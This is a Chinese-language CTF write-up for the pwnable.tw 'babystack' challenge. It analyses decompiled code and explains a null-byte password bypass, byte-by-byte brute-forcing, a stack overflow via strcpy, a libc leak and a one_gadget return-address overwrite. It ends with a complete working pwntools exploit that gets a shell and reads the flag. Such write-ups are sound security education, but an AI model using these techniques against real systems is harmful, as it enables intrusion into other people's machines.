pwnable.tw babystack

0x10 程序分析

64位动态链接库程序,保护全开,注意这里Canary保护的实现方式与其他程序有些不同

main函数分析

__int64 __fastcall main(__int64 a1, char **a2, char **a3) { _QWORD *v3; // rcx __int64 v4; // rdx char v6; // [rsp+0h] [rbp-60h] __int64 password; // [rsp+40h] [rbp-20h] __int64 v8; // [rsp+48h] [rbp-18h] char v9; // [rsp+50h] [rbp-10h] sub_D30(); dword_202018[0] = open("/dev/urandom", 0); read(dword_202018[0], &password, 0x10uLL); // read(0,buf,0x10) v3 = qword_202020; v4 = v8; *(_QWORD *)qword_202020 = password; v3[1] = v4; close(dword_202018[0]); while ( 1 ) { write(1, ">> ", 3uLL); _read_chk(0LL, &v9, 0x10LL, 16LL); if ( v9 == '2' ) break; if ( v9 == '3' ) { if ( unk_202014 ) backdoor(&v6); // 栈空间一致 else puts("Invalid choice"); } else if ( v9 == '1' ) { if ( unk_202014 ) unk_202014 = 0; else login((const char *)&password); // \x00 绕过 } else { puts("Invalid choice"); } } if ( !unk_202014 ) exit(0); if ( memcmp(&password, qword_202020, 0x10uLL) )// 如果password 不一样 JUMPOUT(loc_100B); return 0LL; }

main函数主要提供了两个功能:

  • login

  • Backdoor

我们可以看到,和其他程序的栈保护不同,这个栈溢出保护并没有标志,但我们发现在程序的尾部

有一行

if ( memcmp(&password, qword_202020, 0x10uLL) )// 如果password 不一样 JUMPOUT(loc_100B);

这里对比了内存,如果内存不一样则调用exit(0)来结束程序

login函数分析

int __fastcall login(const char *a1) { size_t v1; // rax char s; // [rsp+10h] [rbp-80h] printf("Your passowrd :"); my_read((unsigned __int8 *)&s, 0x7Fu); //这里的输入长度很奇怪 v1 = strlen(&s); //这里登陆可以使用\x00来绕过 if ( strncmp(&s, a1, v1) ) return puts("Failed !"); unk_202014 = 1; return puts("Login Success !"); }

backdoor函数分析

int __fastcall sub_E76(char *a1) { char src; // [rsp+10h] [rbp-80h] printf("Copy :"); my_read((unsigned __int8 *)&src, 0x3Fu); strcpy(a1, &src); return puts("It is magic copy !"); }

我们可以发现,如果只看这一个函数,我们是无法完成溢出的,但我们调试后重修看代码发现在login函数中,以及在backdoor函数中

  char s; // [rsp+10h] [rbp-80h]
    char src; // [rsp+10h] [rbp-80h]

这两个变量都是rbp-0x80 也就是他们的栈空间是一致的,而strcpy()函数会复制变量中所有内容到v6中

假如我们在login的时候输入'\x00'+'A'*0x70 然后调用copy函数进行复制输入B*0x10

由于栈空间一致,我们新的输入会覆盖我们在login的时候输入的\x00 ,而

signed __int64 __fastcall sub_CA0(unsigned __int8 *a1, unsigned int a2) { signed __int64 result; // rax int v3; // [rsp+1Ch] [rbp-4h] v3 = read(0, a1, a2); if ( v3 <= 0 ) { puts("read error"); exit(1); } result = a1[v3 - 1]; if ( (_BYTE)result == 10 ) { result = (signed __int64)&a1[v3 - 1]; *(_BYTE *)result = 0; } return result; }

只有有换行符的时候才会在字符串加入\x00,因此如果我们不输入换行符

此时rbp - 0x80 这个栈空间里面应该放的是:

B*0x10 + A * 0x70 这样字符串

然后被整体复制给v6,v6只有rbp-0x60 这样就造成了栈溢出

因此这是一个二次利用

0x20 利用思路

首先程序保护全开,且有栈溢出保护,如果溢出就调用exit来退出,但我们无法通过栈溢出来攻击到exit

因此我们要想办法绕过栈溢出

  1. 登陆处泄漏地址

    原理解析:strncmp(&s, a1, v1), 由于v1可以被\x00截断,因此只会比对\x00 之前的字节,那么我们就可以通过逐位爆破来泄漏信息

首先我们要爆破出password,因为我们要保证程序的正常退出

__int64 password; // [rsp+40h] [rbp-20h] //16个字节

其次我们要泄漏出地址

operand在

  char v9; // [rsp+50h] [rbp-10h]

而我们要相办法泄漏一个libc地址用它来算one_gadget,或者打栈迁移

而我们可以通过strncmp来比对字节的方法泄漏ebp-8处的值

B*0x20 <-rbp - 0x60
A*0x20 
password <- rbp-0x20
operand <-rbp - 0x10
rbp-0x8
ret_addr

因此我们可以通过输入’A’*0x58 然后copy

B * 0x20
A * 0x30 //覆盖password
A * 0x8 + operand +'A'*0x7
ebp - 8 //setvbuf
ebp
ret

本题应该是在ubuntu16.04上面搭建的,18.04与16.04栈环境不一样,要换另一种打法

先说16.04的打法:

泄漏出libc地址后,直接one_gadget 覆盖返回地址就可以getshell

image-20210721140305456

0x30 finalexp

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./babystack" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) def login(password): sh.sendafter(">> ","1") sh.sendafter("Your passowrd :",password) def copy(strings): sh.sendafter(">> ","3") sh.sendafter("Copy :",strings) def bp(): result = "" for i in range(16): for ii in range(1,0x100): sh.sendafter(">> ","1") sh.sendlineafter("Your passowrd :",result+chr(ii)) tmp = sh.recvline() if "Login Success" in tmp: result += chr(ii) sh.sendafter('>> ', '1') break return result def leak(): result = "" for i in range(6): for ii in range(1,0x100): sh.sendafter(">> ","1") sh.sendlineafter("Your passowrd :",'A'*0x10+'1'+'A'*0x7+result+chr(ii)) tmp = sh.recvline() if "Login Success" in tmp: result += chr(ii) sh.sendafter('>> ', '1') break return result def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: context.log_level="debug" sh=remote(ip,port) password = bp() login("\x00"+"A"*(0x58-1)) copy("B"*0x20) # logout sh.sendafter(">> ","1") result = leak() libc_base = u64(result.ljust(8,"\x00")) - 0x6ffb4 log.info("libc_base :"+hex(libc_base)) one = libc_base + 0xf0567 login( '\x00' + 'c' * 0x3f +password+ 'a' * 0x18 +p64(one)) copy("B"*0x20) # logout sh.sendafter(">> ","2") sh.sendline("find /home -name flag | xargs cat") # gdb.attach(sh) sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",10205,0) """ Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled """